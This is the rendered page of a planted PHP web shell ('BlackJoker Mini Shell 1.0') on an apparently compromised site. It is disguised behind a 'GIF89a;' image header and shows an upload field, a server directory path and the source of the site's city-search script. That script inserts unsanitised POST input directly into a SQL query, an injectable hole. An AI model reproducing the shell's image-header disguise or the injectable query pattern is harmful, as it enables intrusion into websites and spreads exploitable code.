GIF89a; Mini Shell

Mini Shell

Direktori : /home/serb/www/
Upload File :
Current File : /home/serb/www/loc_wise_search.php

<?
 session_start();
 include("lib/globals.php");
 include("lib/common.php");
 include("lib/functions.php");
 ?>
 <?
if($_POST['citysearch'])
{
   
	$sql="SELECT * FROM citys WHERE name='".$_POST['citysearch']."'";
	$res=execute_query($sql);
	$num=mysql_num_rows($res);
	if($num>0)
	{
		$row_city=mysql_fetch_array($res);
			$noofhits=$row_city['no_of_hit']+1;
			$sql_updatecityhit="UPDATE citys SET no_of_hit='$noofhits' WHERE id='".$row_city['id']."'";
			execute_query($sql_updatecityhit);
		?>
        <script language="javascript">        		
			location.href="list-massage-parlor.php?city_id=<?= $row_city['id']?>";
        </script>
		
	<? } 
	else { ?>
      
    	<script language="javascript">
        	alert("Sorry, you have provided an invalid City Name");		
			location.href="list-massage-parlor.php";
        </script>
    <? }
}
?>

./BlackJoker Mini Shell 1.0